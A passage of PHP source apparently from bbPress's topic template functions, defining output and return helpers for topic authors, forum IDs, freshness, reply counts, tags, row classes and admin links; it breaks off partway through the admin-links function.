 * @since 2.0.0 bbPress (r2590)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_author_id( $topic_id = 0 ) {
	echo bbp_get_topic_author_id( $topic_id );
}
	/**
	 * Return the author ID of the topic
	 *
	 * @since 2.0.0 bbPress (r2590)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Author of topic
	 */
	function bbp_get_topic_author_id( $topic_id = 0 ) {
		$topic_id  = bbp_get_topic_id( $topic_id );
		$author_id = get_post_field( 'post_author', $topic_id );

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_author_id', (int) $author_id, $topic_id );
	}

/**
 * Output the author display_name of the topic
 *
 * @since 2.0.0 bbPress (r2590)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_author_display_name( $topic_id = 0 ) {
	echo bbp_get_topic_author_display_name( $topic_id );
}
	/**
	 * Return the author display_name of the topic
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic's author's display name
	 */
	function bbp_get_topic_author_display_name( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Check for anonymous user
		if ( ! bbp_is_topic_anonymous( $topic_id ) ) {

			// Get the author ID
			$author_id = bbp_get_topic_author_id( $topic_id );

			// Try to get a display name
			$author_name = get_the_author_meta( 'display_name', $author_id );

			// Fall back to user login
			if ( empty( $author_name ) ) {
				$author_name = get_the_author_meta( 'user_login', $author_id );
			}

		// User does not have an account
		} else {
			$author_name = get_post_meta( $topic_id, '_bbp_anonymous_name', true );
		}

		// Fallback if nothing could be found
		if ( empty( $author_name ) ) {
			$author_name = bbp_get_fallback_display_name( $topic_id );
		}

		// Encode possible UTF8 display names
		if ( seems_utf8( $author_name ) === false ) {
			$author_name = utf8_encode( $author_name );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_display_name', $author_name, $topic_id );
	}

/**
 * Output the author avatar of the topic
 *
 * @since 2.0.0 bbPress (r2590)
 *
 * @param int $topic_id Optional. Topic id
 * @param int $size Optional. Avatar size. Defaults to 40
 */
function bbp_topic_author_avatar( $topic_id = 0, $size = 40 ) {
	echo bbp_get_topic_author_avatar( $topic_id, $size );
}
	/**
	 * Return the author avatar of the topic
	 *
	 * @since 2.0.0 bbPress (r2590)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param int $size Optional. Avatar size. Defaults to 40
	 * @return string Avatar of the author of the topic
	 */
	function bbp_get_topic_author_avatar( $topic_id = 0, $size = 40 ) {
		$author_avatar = '';

		$topic_id = bbp_get_topic_id( $topic_id );
		if ( ! empty( $topic_id ) ) {
			if ( ! bbp_is_topic_anonymous( $topic_id ) ) {
				$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
			} else {
				$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_avatar', $author_avatar, $topic_id, $size );
	}

/**
 * Output the author link of the topic
 *
 * @since 2.0.0 bbPress (r2717)
 *
 * @param mixed|int $args If it is an integer, it is used as topic_id. Optional.
 */
function bbp_topic_author_link( $args = array() ) {
	echo bbp_get_topic_author_link( $args );
}
	/**
	 * Return the author link of the topic
	 *
	 * @since 2.0.0 bbPress (r2717)
	 *
	 * @param mixed|int $args If it is an integer, it is used as topic id.
	 *                         Optional.
	 * @return string Author link of topic
	 */
	function bbp_get_topic_author_link( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'post_id'    => 0,
			'link_title' => '',
			'type'       => 'both',
			'size'       => 80,
			'sep'        => '',
			'show_role'  => false
		), 'get_topic_author_link' );

		// Default return value
		$author_link = '';

		// Used as topic_id
		$topic_id = is_numeric( $args )
			? bbp_get_topic_id( $args )
			: bbp_get_topic_id( $r['post_id'] );

		// Topic ID is good
		if ( ! empty( $topic_id ) ) {

			// Get some useful topic information
			$author_url = bbp_get_topic_author_url( $topic_id );
			$anonymous  = bbp_is_topic_anonymous( $topic_id );

			// Tweak link title if empty
			if ( empty( $r['link_title'] ) ) {
				$author = bbp_get_topic_author_display_name( $topic_id );
				$title  = empty( $anonymous )
					? esc_attr__( "View %s's profile",  'bbpress' )
					: esc_attr__( "Visit %s's website", 'bbpress' );

				$link_title = sprintf( $title, $author );

			// Use what was passed if not
			} else {
				$link_title = $r['link_title'];
			}

			// Setup title and author_links array
			$author_links = array();
			$link_title   = ! empty( $link_title )
				? ' title="' . esc_attr( $link_title ) . '"'
				: '';

			// Get avatar (unescaped, because HTML)
			if ( ( 'avatar' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['avatar'] = bbp_get_topic_author_avatar( $topic_id, $r['size'] );
			}

			// Get display name (escaped, because never HTML)
			if ( ( 'name' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['name'] = esc_html( bbp_get_topic_author_display_name( $topic_id ) );
			}

			// Empty array
			$links  = array();
			$sprint = '<span %1$s>%2$s</span>';

			// Wrap each link
			foreach ( $author_links as $link => $link_text ) {
				$link_class = ' class="bbp-author-' . esc_attr( $link ) . '"';
				$links[]    = sprintf( $sprint, $link_class, $link_text );
			}

			// Juggle
			$author_links = $links;
			unset( $links );

			// Filter sections
			$sections    = apply_filters( 'bbp_get_topic_author_links', $author_links, $r, $args );

			// Assemble sections into author link
			$author_link = implode( $r['sep'], $sections );

			// Only wrap in link if profile exists
			if ( empty( $anonymous ) && bbp_user_has_profile( bbp_get_topic_author_id( $topic_id ) ) ) {
				$author_link = sprintf( '<a href="%1$s"%2$s%3$s>%4$s</a>', esc_url( $author_url ), $link_title, ' class="bbp-author-link"', $author_link );
			}

			// Role is not linked
			if ( true === $r['show_role'] ) {
				$author_link .= bbp_get_topic_author_role( array( 'topic_id' => $topic_id ) );
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_link', $author_link, $r, $args );
	}

/**
 * Output the author url of the topic
 *
 * @since 2.0.0 bbPress (r2590)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_author_url( $topic_id = 0 ) {
	echo esc_url( bbp_get_topic_author_url( $topic_id ) );
}

	/**
	 * Return the author url of the topic
	 *
	 * @since 2.0.0 bbPress (r2590)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Author URL of topic
	 */
	function bbp_get_topic_author_url( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Check for anonymous user or non-existant user
		if ( ! bbp_is_topic_anonymous( $topic_id ) && bbp_user_has_profile( bbp_get_topic_author_id( $topic_id ) ) ) {
			$author_url = bbp_get_user_profile_url( bbp_get_topic_author_id( $topic_id ) );
		} else {
			$author_url = get_post_meta( $topic_id, '_bbp_anonymous_website', true );

			// Set empty author_url as empty string
			if ( empty( $author_url ) ) {
				$author_url = '';
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_url', $author_url, $topic_id );
	}

/**
 * Output the topic author email address
 *
 * @since 2.0.0 bbPress (r3445)
 *
 * @param int $topic_id Optional. Reply id
 */
function bbp_topic_author_email( $topic_id = 0 ) {
	echo bbp_get_topic_author_email( $topic_id );
}
	/**
	 * Return the topic author email address
	 *
	 * @since 2.0.0 bbPress (r3445)
	 *
	 * @param int $topic_id Optional. Reply id
	 * @return string Topic author email address
	 */
	function bbp_get_topic_author_email( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Not anonymous user
		if ( ! bbp_is_topic_anonymous( $topic_id ) ) {

			// Use topic author email address
			$user_id      = bbp_get_topic_author_id( $topic_id );
			$user         = get_userdata( $user_id );
			$author_email = ! empty( $user->user_email ) ? $user->user_email : '';

		// Anonymous
		} else {

			// Get email from post meta
			$author_email = get_post_meta( $topic_id, '_bbp_anonymous_email', true );

			// Sanity check for missing email address
			if ( empty( $author_email ) ) {
				$author_email = '';
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_email', $author_email, $topic_id );
	}

/**
 * Output the topic author role
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @param array $args Optional.
 */
function bbp_topic_author_role( $args = array() ) {
	echo bbp_get_topic_author_role( $args );
}
	/**
	 * Return the topic author role
	 *
	 * @since 2.1.0 bbPress (r3860)
	 *
	 * @param array $args Optional.
	 * @return string topic author role
	 */
	function bbp_get_topic_author_role( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'topic_id' => 0,
			'class'    => false,
			'before'   => '<div class="bbp-author-role">',
			'after'    => '</div>'
		), 'get_topic_author_role' );

		$topic_id = bbp_get_topic_id( $r['topic_id'] );
		$role     = bbp_get_user_display_role( bbp_get_topic_author_id( $topic_id ) );

		// Backwards compatibilty with old 'class' argument
		if ( ! empty( $r['class'] ) ) {
			$author_role = sprintf( '%1$s<div class="%2$s">%3$s</div>%4$s', $r['before'], $r['class'], $role, $r['after'] );

		// Simpler before & after arguments
		// https://bbpress.trac.wordpress.org/ticket/2557
		} else {
			$author_role = $r['before'] . $role . $r['after'];
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_author_role', $author_role, $r );
	}


/**
 * Output the title of the forum a topic belongs to
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_forum_title( $topic_id = 0 ) {
	echo bbp_get_topic_forum_title( $topic_id );
}
	/**
	 * Return the title of the forum a topic belongs to
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic forum title
	 */
	function bbp_get_topic_forum_title( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_forum', bbp_get_forum_title( $forum_id ), $topic_id, $forum_id );
	}

/**
 * Output the forum id a topic belongs to
 *
 * @since 2.0.0 bbPress (r2491)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_forum_id( $topic_id = 0 ) {
	echo bbp_get_topic_forum_id( $topic_id );
}
	/**
	 * Return the forum id a topic belongs to
	 *
	 * @since 2.0.0 bbPress (r2491)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return int Topic forum id
	 */
	function bbp_get_topic_forum_id( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$forum_id = (int) get_post_field( 'post_parent', $topic_id );

		// Meta-data fallback
		if ( empty( $forum_id ) ) {
			$forum_id = (int) get_post_meta( $topic_id, '_bbp_forum_id', true );
		}

		// Filter
		if ( ! empty( $forum_id ) ) {
			$forum_id = (int) bbp_get_forum_id( $forum_id );
		}

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_forum_id', $forum_id, $topic_id );
	}

/**
 * Output the topics last active ID
 *
 * @since 2.0.0 bbPress (r2860)
 *
 * @param int $topic_id Optional. Forum id
 */
function bbp_topic_last_active_id( $topic_id = 0 ) {
	echo bbp_get_topic_last_active_id( $topic_id );
}
	/**
	 * Return the topics last active ID
	 *
	 * @since 2.0.0 bbPress (r2860)
	 *
	 * @param int $topic_id Optional. Forum id
	 * @return int Forum's last active id
	 */
	function bbp_get_topic_last_active_id( $topic_id = 0 ) {
		$topic_id  = bbp_get_topic_id( $topic_id );
		$active_id = (int) get_post_meta( $topic_id, '_bbp_last_active_id', true );

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_last_active_id', $active_id, $topic_id );
	}

/**
 * Output the topics last update date/time (aka freshness)
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_last_active_time( $topic_id = 0 ) {
	echo bbp_get_topic_last_active_time( $topic_id );
}
	/**
	 * Return the topics last update date/time (aka freshness)
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic freshness
	 */
	function bbp_get_topic_last_active_time( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );

		// Try to get the most accurate freshness time possible
		$last_active = get_post_meta( $topic_id, '_bbp_last_active_time', true );
		if ( empty( $last_active ) ) {
			$reply_id = bbp_get_topic_last_reply_id( $topic_id );
			if ( ! empty( $reply_id ) ) {
				$last_active = get_post_field( 'post_date', $reply_id );
			} else {
				$last_active = get_post_field( 'post_date', $topic_id );
			}
		}

		$last_active = ! empty( $last_active ) ? bbp_get_time_since( bbp_convert_date( $last_active ) ) : '';

		// Filter & return
		return apply_filters( 'bbp_get_topic_last_active', $last_active, $topic_id );
	}

/** Topic Subscriptions *******************************************************/

/**
 * Output the topic subscription link
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
 */
function bbp_topic_subscription_link( $args = array() ) {
	echo bbp_get_topic_subscription_link( $args );
}

	/**
	 * Get the topic subscription link
	 *
	 * A custom wrapper for bbp_get_user_subscribe_link()
	 *
	 * @since 2.5.0 bbPress (r5156)
	 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
	 */
	function bbp_get_topic_subscription_link( $args = array() ) {

		// Defaults
		$retval      = false;
		$user_id     = bbp_get_current_user_id();
		$redirect_to = bbp_is_subscriptions()
			? bbp_get_subscriptions_permalink( $user_id )
			: '';

		// Parse the arguments
		$r = bbp_parse_args( $args, array(
			'user_id'     => $user_id,
			'object_id'   => bbp_get_topic_id(),
			'object_type' => 'post',
			'before'      => '&nbsp;|&nbsp;',
			'after'       => '',
			'subscribe'   => esc_html__( 'Subscribe',   'bbpress' ),
			'unsubscribe' => esc_html__( 'Unsubscribe', 'bbpress' ),
			'redirect_to' => $redirect_to
		), 'get_topic_subscribe_link' );

		// Get the link
		$retval = bbp_get_user_subscribe_link( $r );

		// Filter & return
		return apply_filters( 'bbp_get_topic_subscribe_link', $retval, $r, $args );
	}

/** Topic Favorites ***********************************************************/

/**
 * Output the topic favorite link
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
 */
function bbp_topic_favorite_link( $args = array() ) {
	echo bbp_get_topic_favorite_link( $args );
}

	/**
	 * Get the forum favorite link
	 *
	 * A custom wrapper for bbp_get_user_favorites_link()
	 *
	 * @since 2.5.0 bbPress (r5156)
	 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
	 */
	function bbp_get_topic_favorite_link( $args = array() ) {

		// No link
		$retval      = false;
		$user_id     = bbp_get_current_user_id();
		$redirect_to = bbp_is_favorites()
			? bbp_get_favorites_permalink( $user_id )
			: '';

		// Parse the arguments
		$r = bbp_parse_args( $args, array(
			'user_id'     => $user_id,
			'object_id'   => bbp_get_topic_id(),
			'object_type' => 'post',
			'before'      => '',
			'after'       => '',
			'favorite'    => esc_html__( 'Favorite',   'bbpress' ),
			'favorited'   => esc_html__( 'Unfavorite', 'bbpress' ),
			'redirect_to' => $redirect_to
		), 'get_topic_favorite_link' );

		// Get the link
		$retval = bbp_get_user_favorites_link( $r );

		// Filter & return
		return apply_filters( 'bbp_get_topic_favorite_link', $retval, $r, $args );
	}

/** Topic Last Reply **********************************************************/

/**
 * Output the id of the topics last reply
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_last_reply_id( $topic_id = 0 ) {
	echo bbp_get_topic_last_reply_id( $topic_id );
}
	/**
	 * Return the id of the topics last reply
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return int Topic last reply id
	 */
	function bbp_get_topic_last_reply_id( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$reply_id = (int) get_post_meta( $topic_id, '_bbp_last_reply_id', true );

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_last_reply_id', $reply_id, $topic_id );
	}

/**
 * Output the title of the last reply inside a topic
 *
 * @since 2.0.0 bbPress (r2753)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_last_reply_title( $topic_id = 0 ) {
	echo bbp_get_topic_last_reply_title( $topic_id );
}
	/**
	 * Return the title of the last reply inside a topic
	 *
	 * @since 2.0.0 bbPress (r2753)
	 * @since 2.6.0 bbPress https://bbpress.trac.wordpress.org/ticket/3039
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic last reply title
	 */
	function bbp_get_topic_last_reply_title( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$reply_id = bbp_get_topic_last_reply_id( $topic_id );
		$retval   = bbp_get_reply_title( $reply_id );

		// Misspelled. Use 'bbp_get_topic_last_reply_title' hook instead.
		$retval = apply_filters( 'bbp_get_topic_last_topic_title', $retval, $topic_id, $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_last_reply_title', $retval, $topic_id, $reply_id );
	}

/**
 * Output the link to the last reply in a topic
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_last_reply_permalink( $topic_id = 0 ) {
	echo esc_url( bbp_get_topic_last_reply_permalink( $topic_id ) );
}
	/**
	 * Return the link to the last reply in a topic
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Permanent link to the reply
	 */
	function bbp_get_topic_last_reply_permalink( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$reply_id = bbp_get_topic_last_reply_id( $topic_id );
		$retval   = bbp_get_reply_permalink( $reply_id );

		// Filter & return
		return apply_filters( 'bbp_get_topic_last_reply_permalink', $retval, $topic_id, $reply_id );
	}

/**
 * Output the link to the last reply in a topic
 *
 * @since 2.0.0 bbPress (r2683)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_last_reply_url( $topic_id = 0 ) {
	echo esc_url( bbp_get_topic_last_reply_url( $topic_id ) );
}
	/**
	 * Return the link to the last reply in a topic
	 *
	 * @since 2.0.0 bbPress (r2683)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic last reply url
	 */
	function bbp_get_topic_last_reply_url( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$reply_id = bbp_get_topic_last_reply_id( $topic_id );

		if ( ! empty( $reply_id ) && ( $reply_id !== $topic_id ) ) {
			$reply_url = bbp_get_reply_url( $reply_id );
		} else {
			$reply_url = bbp_get_topic_permalink( $topic_id );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_last_reply_url', $reply_url, $topic_id, $reply_id );
	}

/**
 * Output link to the most recent activity inside a topic, complete with link
 * attributes and content.
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_freshness_link( $topic_id = 0 ) {
	echo bbp_get_topic_freshness_link( $topic_id );
}
	/**
	 * Returns link to the most recent activity inside a topic, complete
	 * with link attributes and content.
	 *
	 * @since 2.0.0 bbPress (r2625)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return string Topic freshness link
	 */
	function bbp_get_topic_freshness_link( $topic_id = 0 ) {
		$topic_id   = bbp_get_topic_id( $topic_id );
		$link_url   = bbp_get_topic_last_reply_url( $topic_id );
		$title      = bbp_get_topic_last_reply_title( $topic_id );
		$time_since = bbp_get_topic_last_active_time( $topic_id );

		if ( ! empty( $time_since ) ) {
			$anchor = '<a href="' . esc_url( $link_url ) . '" title="' . esc_attr( $title ) . '">' . esc_html( $time_since ) . '</a>';
		} else {
			$anchor = esc_html__( 'No Replies', 'bbpress' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_freshness_link', $anchor, $topic_id, $time_since, $link_url, $title );
	}

/**
 * Output the replies link of the topic
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_replies_link( $topic_id = 0 ) {
	echo bbp_get_topic_replies_link( $topic_id );
}

	/**
	 * Return the replies link of the topic
	 *
	 * @since 2.0.0 bbPress (r2740)
	 *
	 * @param int $topic_id Optional. Topic id
	 */
	function bbp_get_topic_replies_link( $topic_id = 0 ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$link     = bbp_get_topic_permalink( $topic_id );
		$replies  = sprintf( _n( '%s reply', '%s replies', bbp_get_topic_reply_count( $topic_id, true ), 'bbpress' ), bbp_get_topic_reply_count( $topic_id, false ) );

		// First link never has view=all
		$retval = bbp_get_view_all( 'edit_others_replies' )
			? "<a href='" . esc_url( bbp_remove_view_all( $link ) ) . "'>" . esc_html( $replies ) . "</a>"
			: $replies;

		// Any deleted replies?
		$deleted_int = bbp_get_topic_reply_count_hidden( $topic_id, true  );

		// This topic has hidden replies
		if ( ! empty( $deleted_int ) && current_user_can( 'edit_others_replies' ) ) {

			// Hidden replies
			$deleted_num = bbp_get_topic_reply_count_hidden( $topic_id, false );
			$extra       = ' ' . sprintf( _n( '(+%s hidden)', '(+%s hidden)', $deleted_int, 'bbpress' ), $deleted_num );

			// Hidden link
			$retval .= ! bbp_get_view_all( 'edit_others_replies' )
				? " <a href='" . esc_url( bbp_add_view_all( $link, true ) ) . "'>" . esc_html( $extra ) . "</a>"
				: " {$extra}";
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_replies_link', $retval, $topic_id );
	}

/**
 * Output total reply count of a topic
 *
 * @since 2.0.0 bbPress (r2485)
 *
 * @param int $topic_id Optional. Topic id
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_topic_reply_count( $topic_id = 0, $integer = false ) {
	echo bbp_get_topic_reply_count( $topic_id, $integer );
}
	/**
	 * Return total reply count of a topic
	 *
	 * @since 2.0.0 bbPress (r2485)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Reply count
	 */
	function bbp_get_topic_reply_count( $topic_id = 0, $integer = false ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$replies  = (int) get_post_meta( $topic_id, '_bbp_reply_count', true );
		$filter   = ( true === $integer )
			? 'bbp_get_topic_reply_count_int'
			: 'bbp_get_topic_reply_count';

		return apply_filters( $filter, $replies, $topic_id );
	}

/**
 * Output total post count of a topic
 *
 * @since 2.0.0 bbPress (r2954)
 *
 * @param int $topic_id Optional. Topic id
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_topic_post_count( $topic_id = 0, $integer = false ) {
	echo bbp_get_topic_post_count( $topic_id, $integer );
}
	/**
	 * Return total post count of a topic
	 *
	 * @since 2.0.0 bbPress (r2954)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Post count
	 */
	function bbp_get_topic_post_count( $topic_id = 0, $integer = false ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$replies  = ( (int) get_post_meta( $topic_id, '_bbp_reply_count', true ) ) + 1;
		$filter   = ( true === $integer )
			? 'bbp_get_topic_post_count_int'
			: 'bbp_get_topic_post_count';

		return apply_filters( $filter, $replies, $topic_id );
	}

/**
 * Output total hidden reply count of a topic (hidden includes trashed and
 * spammed replies)
 *
 * @since 2.0.0 bbPress (r2740)
 *
 * @param int $topic_id Optional. Topic id
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_topic_reply_count_hidden( $topic_id = 0, $integer = false ) {
	echo bbp_get_topic_reply_count_hidden( $topic_id, $integer );
}
	/**
	 * Return total hidden reply count of a topic (hidden includes trashed
	 * and spammed replies)
	 *
	 * @since 2.0.0 bbPress (r2740)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Topic hidden reply count
	 */
	function bbp_get_topic_reply_count_hidden( $topic_id = 0, $integer = false ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$replies  = (int) get_post_meta( $topic_id, '_bbp_reply_count_hidden', true );
		$filter   = ( true === $integer )
			? 'bbp_get_topic_reply_count_hidden_int'
			: 'bbp_get_topic_reply_count_hidden';

		return apply_filters( $filter, $replies, $topic_id );
	}

/**
 * Output total voice count of a topic
 *
 * @since 2.0.0 bbPress (r2567)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_voice_count( $topic_id = 0, $integer = false ) {
	echo bbp_get_topic_voice_count( $topic_id, $integer );
}
	/**
	 * Return total voice count of a topic
	 *
	 * @since 2.0.0 bbPress (r2567)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @return int Voice count of the topic
	 */
	function bbp_get_topic_voice_count( $topic_id = 0, $integer = false ) {
		$topic_id = bbp_get_topic_id( $topic_id );
		$voices   = (int) get_post_meta( $topic_id, '_bbp_voice_count', true );
		$filter   = ( true === $integer )
			? 'bbp_get_topic_voice_count_int'
			: 'bbp_get_topic_voice_count';

		return apply_filters( $filter, $voices, $topic_id );
	}

/**
 * Output a the tags of a topic
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param int $topic_id Optional. Topic id
 * @param array $args See {@link bbp_get_topic_tag_list()}
 */
function bbp_topic_tag_list( $topic_id = 0, $args = array() ) {
	echo bbp_get_topic_tag_list( $topic_id, $args );
}
	/**
	 * Return the tags of a topic
	 *
	 * @since 2.0.0 bbPress (r2688)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param array $args This function supports these arguments:
	 *  - before: Before the tag list
	 *  - sep: Tag separator
	 *  - after: After the tag list
	 * @return string Tag list of the topic
	 */
	function bbp_get_topic_tag_list( $topic_id = 0, $args = array() ) {

		// Bail if topic-tags are off
		if ( ! bbp_allow_topic_tags() ) {
			return '';
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'before' => '<div class="bbp-topic-tags"><p>' . esc_html__( 'Tagged:', 'bbpress' ) . '&nbsp;',
			'sep'    => ', ',
			'after'  => '</p></div>',
			'none'   => ''
		), 'get_topic_tag_list' );

		$topic_id = bbp_get_topic_id( $topic_id );

		// Topic is spammed, so display pre-spam terms
		if ( bbp_is_topic_spam( $topic_id ) ) {

			// Get pre-spam terms
			$terms = get_post_meta( $topic_id, '_bbp_spam_topic_tags', true );

			// If terms exist, implode them and compile the return value
			if ( ! empty( $terms ) ) {
				$terms = $r['before'] . implode( $r['sep'], $terms ) . $r['after'];
			}

		// Topic is not spam so display a clickable term list
		} else {
			$terms = get_the_term_list( $topic_id, bbp_get_topic_tag_tax_id(), $r['before'], $r['sep'], $r['after'] );
		}

		// No terms so return none string
		if ( ! empty( $terms ) ) {
			$retval = $terms;
		} else {
			$retval = $r['none'];
		}

		return $retval;
	}

/**
 * Output the row class of a topic
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $topic_id Optional. Topic id
 * @param array Extra classes you can pass when calling this function
 */
function bbp_topic_class( $topic_id = 0, $classes = array() ) {
	echo bbp_get_topic_class( $topic_id, $classes );
}
	/**
	 * Return the row class of a topic
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $topic_id Optional. Topic id
	 * @param array Extra classes you can pass when calling this function
	 * @return string Row class of a topic
	 */
	function bbp_get_topic_class( $topic_id = 0, $classes = array() ) {
		$bbp       = bbpress();
		$topic_id  = bbp_get_topic_id( $topic_id );
		$forum_id  = bbp_get_topic_forum_id( $topic_id );
		$author_id = bbp_get_topic_author_id( $topic_id );
		$classes   = array_filter( (array) $classes );
		$count     = isset( $bbp->topic_query->current_post )
			? (int) $bbp->topic_query->current_post
			: 1;

		//  Stripes
		$even_odd = ( $count % 2 )
			? 'even'
			: 'odd';

		// Forum moderator replied to topic
		$forum_moderator = ( bbp_is_user_forum_moderator( $author_id, $forum_id ) === $author_id )
			? 'forum-mod'
			: '';

		// Is this topic a sticky?
		$sticky = bbp_is_topic_sticky( $topic_id, false )
			? 'sticky'
			: '';

		// Is this topic a super-sticky?
		$super_sticky = bbp_is_topic_super_sticky( $topic_id  )
			? 'super-sticky'
			: '';

		// Get topic classes
		$topic_classes = array(
			'loop-item-'        . $count,
			'user-id-'          . $author_id,
			'bbp-parent-forum-' . $forum_id,
			$even_odd,
			$forum_moderator,
			$sticky,
			$super_sticky
		);

		// Run the topic classes through the post-class filters, which also
		// handles the escaping of each individual class.
		$post_classes = get_post_class( array_merge( $classes, $topic_classes ), $topic_id );

		// Filter
		$new_classes  = apply_filters( 'bbp_get_topic_class', $post_classes, $topic_id, $classes );

		// Return
		return 'class="' . implode( ' ', $new_classes ) . '"';
	}

/** Topic Admin Links *********************************************************/

/**
 * Output admin links for topic
 *
 * @param array $args See {@link bbp_get_topic_admin_links()}
 */
function bbp_topic_admin_links( $args = array() ) {
	echo bbp_get_topic_admin_links( $args );
}
	/**
	 * Return admin links for topic.
	 *
	 * Move topic functionality is handled by the edit topic page.
	 *
	 * @param array $args This function supports these arguments:
	 *  - id: Optional. Topic id
	 *  - before: Before the links
	 *  - after: After the links
	 *  - sep: Links separator
	 *  - links: Topic admin links array
	 * @return string Topic admin links
	 */
	function bbp_get_topic_admin_links( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'id'     => bbp_get_topic_id(),
			'before' => '<span class="bbp-admin-links">',
			'after'  => '</span>',
			'sep'    => ' | ',
			'links'  => array()
		), 'get_topic_admin_links' );

		if ( empty( $r['links'] ) ) {
			$r['links'] = apply_filters( 'bbp_topic_admin_links', array(
				'edit'    => bbp_get_topic_edit_link   ( $r ),
				'merge'   => bbp_get_topic_merge_link  ( $r ),
				'close'   => bbp_get_topic_close_link  ( $r ),
				'stick'   => bbp_get_topic_stick_link  ( $r ),
				'trash'   => bbp_get_topic_trash_link  ( $r ),
				'spam'    => bbp_get_topic_spam_link   ( $r ),
				'approve' => bbp_get_topic_approve_link( $r ),
				'reply'   => bbp_get_topic_reply_link  ( $r )
			), $r['id'] );
		}

		// See if links need to be unset
		$topic_status = bbp_get_topic_status( $r['id'] );
